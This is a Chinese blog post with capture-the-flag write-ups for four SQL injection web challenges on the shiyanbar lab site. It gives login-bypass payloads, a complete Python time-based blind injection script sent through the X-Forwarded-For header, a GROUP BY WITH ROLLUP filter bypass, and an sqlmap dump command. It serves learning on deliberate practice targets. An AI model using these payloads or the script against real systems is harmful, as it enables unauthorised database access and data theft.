实验吧WP(web部分)【登录一下好吗,who are you, 因缺思汀的绕过,简单的sql注入之3】【不想更新实验吧了,服务器太差】

六. 登录一下好吗?

通过这道题提示下寄几:不是所有有关sql语句的注入都要报库名表名字段名!!!

首先打开这道题,是俩输入框,输入1和1有回显,输入union等字符会不显示,想着应该是回显注入

此时应自动脑补sql语句:select * from user where username = ' ' and password = ' '(后经验证是这一个)

                              或者 select * from user where username = " " and password = " "

这时候想不开的我就开始想着如何单引号or各种爆库名表段字段......发现几乎想用的都被过滤了只剩下and,',",=这些。。臣妾做不到用这些个构造sql语句。。后来翻看了WP后豁然开脑洞,以下介绍三种方法

1.通过构造0 = 0把where后面的语句构造出1 and 1的形式

具体做法:在两个提交框提交  aaa'='0  或  aaa'='   (aaa可为任何username里没有的字符甚至为空)

这样做之后sql查询语句就变成   select * from user where username = 'aaa'='0' and  password = 'aaa'='0

                                            或者 select * from user where username = 'aaa'='' and password ='aaa'=''

根据等号从前往后看的原则 username='aaa'显然是不存在的,因此返回0(也可以说是空),看下一个等号就是 0=0(空=空)

,0=0(空=空)为1。password同理,所以语句变为select * from user where 1 and 1,爆出全部数据。

2.通过构造username=0爆出全部数据

这里我们要知道,除了开头是非零数的字符串,其他字符串化成整型都为0,字符串=0 为真。

当所有username里没有开头是非零数的字符串,username=0相当于查全部数据.

所以我们构造 username=aaa'+0;%00

构成的sql语句为  select * from user where username = 'aaa'+0;%00 ' and password = ' '

因为--+,#,/**/等注释符都被过滤了,我们用%00,是一个截断符,相当于把后面的语句注释掉

username='aaa'+0 相当于 username=0,得到答案


(当构造username=a'+0+'a&password=a'+0+'a时,只查询出一条语句,说明password里有开头是非零数的字符串)

3.通过构造异或语句(这个开脑洞)

先给出payload:username=\&password=^'aaa

构成的语句是 select * from user where username = ' \' and password = '^'aaa'

其中反斜杠把后面的单引号转义掉了(相当于一个普通的字符),所以' \' and password = '就是一串字符串,'aaa'也是一串字符串,字符串都为0,0⊕0=0,又构造出username=0了!!!!


七. who are you?

第一次遇到这种X-Forwarded-For Header,比较迷茫,看了WP之后才明白。

这道题思路  查你ip -> X-Forwarded-For可以改ip -> X-Forwarded-For除了数字竟然还能填字母,符号等 -> 能不能用X- Forwarded-For进行sql注入? 

在X-Forwarded-For Header改了之后网页上查到的ip地址也就变成了你所改的内容

构造sql语句的时候发现,无论你构造什么语句,返回页面既不返回查询结果(回显注入),也不报错或跳转(报错盲注),这时候只能用时间盲注。

时间盲注:通过sleep()函数和select case when...then...else...语法,try:except: 构造语句,使得当查询到想要信息时,让网页sleep一段时间,以达到查询信息的目的。

参考链接

经过各种py脚本的查询得表段名和字段名都为flag(具体脚本看参考链接)各脚本思路基本一样,下面贴出最后查询flag时的脚本。(萌新努力学习py脚本注入奋斗

#-*-coding:utf-8-*-
import requests
import string
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess=string.lowercase + string.uppercase + string.digits
flag=""

for i in range(1,100):
    havetry=0
    for str in guess:
        headers={"x-forwarded-for":"' +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(5) else 1 end ) and '1'='1" %(i,str)}
        try: 
            res=requests.get(url,headers=headers,timeout=4)
        except requests.exceptions.ReadTimeout, e:
            havetry=1
            flag = flag + str
            print "flag:", flag
            break
    if havetry==0:
        break
print 'result:' + flag

下面是我自己写脚本时遇到的一些问题

1.string.lowercase 所有小写字母 string.uppercase 所有大写字母 string.digits所有字符

2.sql查询语句中从第一个select到最后的end(主要查询语句)要用括号括起来。

3.(select case when (aaaa) then sleep(5) else 1 end)这条是主要查询语句,当aaaa正确时,返回时间sleep五秒,否则返回1结束,时间可忽略不计

4.try...except...  执行try后的语句(get数据,看有没有在四秒之内返回),如果执行失败(返回超时,说明aaaa查询成功,sleep了五秒)则执行except后语句。

5.脚本执行过程中可能会会出现a,aa,aaa的状况,这说明实验吧题目服务器又崩了,第一个查字母a的查询返回时间就大于5s,所以脚本误认为是执行了sleep语句。

6.查名称时要用到三个for嵌套,如查数据库时第一个for判断第n个数据库,第二个for判断当前数据库第n个字符,第三个for是判断当前字符查询字母是否为str

6.写脚本时要多注意输出人性化,比如查库时用databasename储存当前库名,用database【】储存所有库名最后用for一起输出,查字母时用print "trying",str 来方便出错时判断错误。

7.查表段数和字段数时,发现表段数为42,字段数为483。不可能一个个找,大神直接从后面开始找发现flag表段和flag字段。

八. 因缺思汀的绕过

打开这题,是俩提交框,就想着是不是注入或绕过。照例右键看源码,看到有源码提示

<!--source: source.txt-->

打开这个txt文件看到源码,以下贴关键源码

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
	die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); 
if (mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "浜﹀彲璧涜墖锛�";
    }
}else{
	print "涓€棰楄禌鑹囷紒";
}
mysql_close($con);

从源码我们可以看出:

1.过滤了挺多字符的如and select from 这些,但不是全部,如or group by这些没有去掉(因为下面有源码提示是代码审计题,所以就不用往绕过注入这方面想了)

2.my_num_rows($query)==1 这句话我的理解就是进入到构造数组阶段的数据只能是一列,说明用到limit 1。

3.我们需要提交的uname是要查询的数据名uname=?,返回这个数据所有列数据并且构成一个数组mysql_fetch_array($query)

4.提交的pwd要求其值与其作为条件三获得的数组下标返回的值是一样的,获得flag。

我的思路:第一眼就看到判数组值和pwd值是否相等时只用了==而不是===,那么如果数组的第0个元素为字母或0时,返回的字母==0。但遇到问题,我们根本不知道列名没办法用uname返回数据....。然后我又想到构造uname=' or 1=1从而返回所有的列名再与pwd的0进行比较,仍然不行,说明uname的第一条数据的首字符并不是字母或0。

大佬的思路:先给payload

这里主要用到了group by XXX with rollup这个语句,在返回的查询结果最后,加上一行pwd为NULL的结果。再用limit 1 offset 2让最后一行构造成为数组。这样pwd为空值,构造的数组下标为空值时返回的pwd结果也为空值,达成$key['pwd']=$_post['pwd']的条件

group by XXX with rollup的用法:例子

我的理解就是group by XXX(XXX为某一个列名)就是把XXX中名字相同的合并,其他值取平均(若是字符串就拼接),然后加个with rollup就是在最后一行数据加一行XXX为NULL的数据,除XXX项外的其他列数据取平均(若是字符串就随便选一个?)

至于为什么数组下标为空值时返回的pwd也为空值,因为用"' or 1=1 oreder by XX limit 1#",查出表只有两列,就只有uname和pwd俩列,且pwd排在前面。我们不知道有多少条数据的情况下,用limit 1 offset XX,XX为数字一个个试试,最后查到第三条数据中pwd的值为NULL。取最后一条数据构造数组,当数组下标为空时,取第一字段也就是pwd的值为NULL,故NULL==NULL,通过。

九. 简单的sql注入

这道题真是个简单的sql注入,但在做题过程中遇到了一些困难,也学到了不少。

首先这道题是可以直接用sqlmap跑出来的,甚至不用加其他参数直接用url跑就可以(在我的印象中,sqlmap加的参数越多跑出来的可能性越大)

>python sqlmap.py -u"http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D"web1" -T"flag" -C"flag" --dump


手工的话就按步骤来

1.单引号,报错了,并且有回显(但这并不是回显注入,因为当出现正确语句时不能回显)

2.' and '1'='1 和 ' and '1'='2 可知,当语句正确时返回Hello!,语句错误时候返回空(我们可以根据这点进行盲注)

3.构造语句1' and (select count(*) from 表名) > 0 # ,放到bp中抓包用表名字典跑,(列名也同理),最后跑出表名和列名都为flag。

4.接下来就是构造1' ascii(substr((select flag from flag),num1,1))=num2 and '1' ='1来盲注flag了,用bp自带的爆破来同时爆破num1和num2也好,写python脚本也好,最后得出答案。

说下存在问题的地方,写了个Python脚本,用if "Hello!" in re.text作为判定条件,也就是当Hello!这些字符存在在返回源码的时候就说明ascii正确,从而输出当前ascii码的字符,跳入下一个字符的检验。但后来我发现怎么也没有进到if语句中,仔细检查后发现


对比正常的源码,用request(url).text返回的源码没含有<font size="5">Hello!<br></font>这一段是没有的!!!怪不得检测不到。



评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值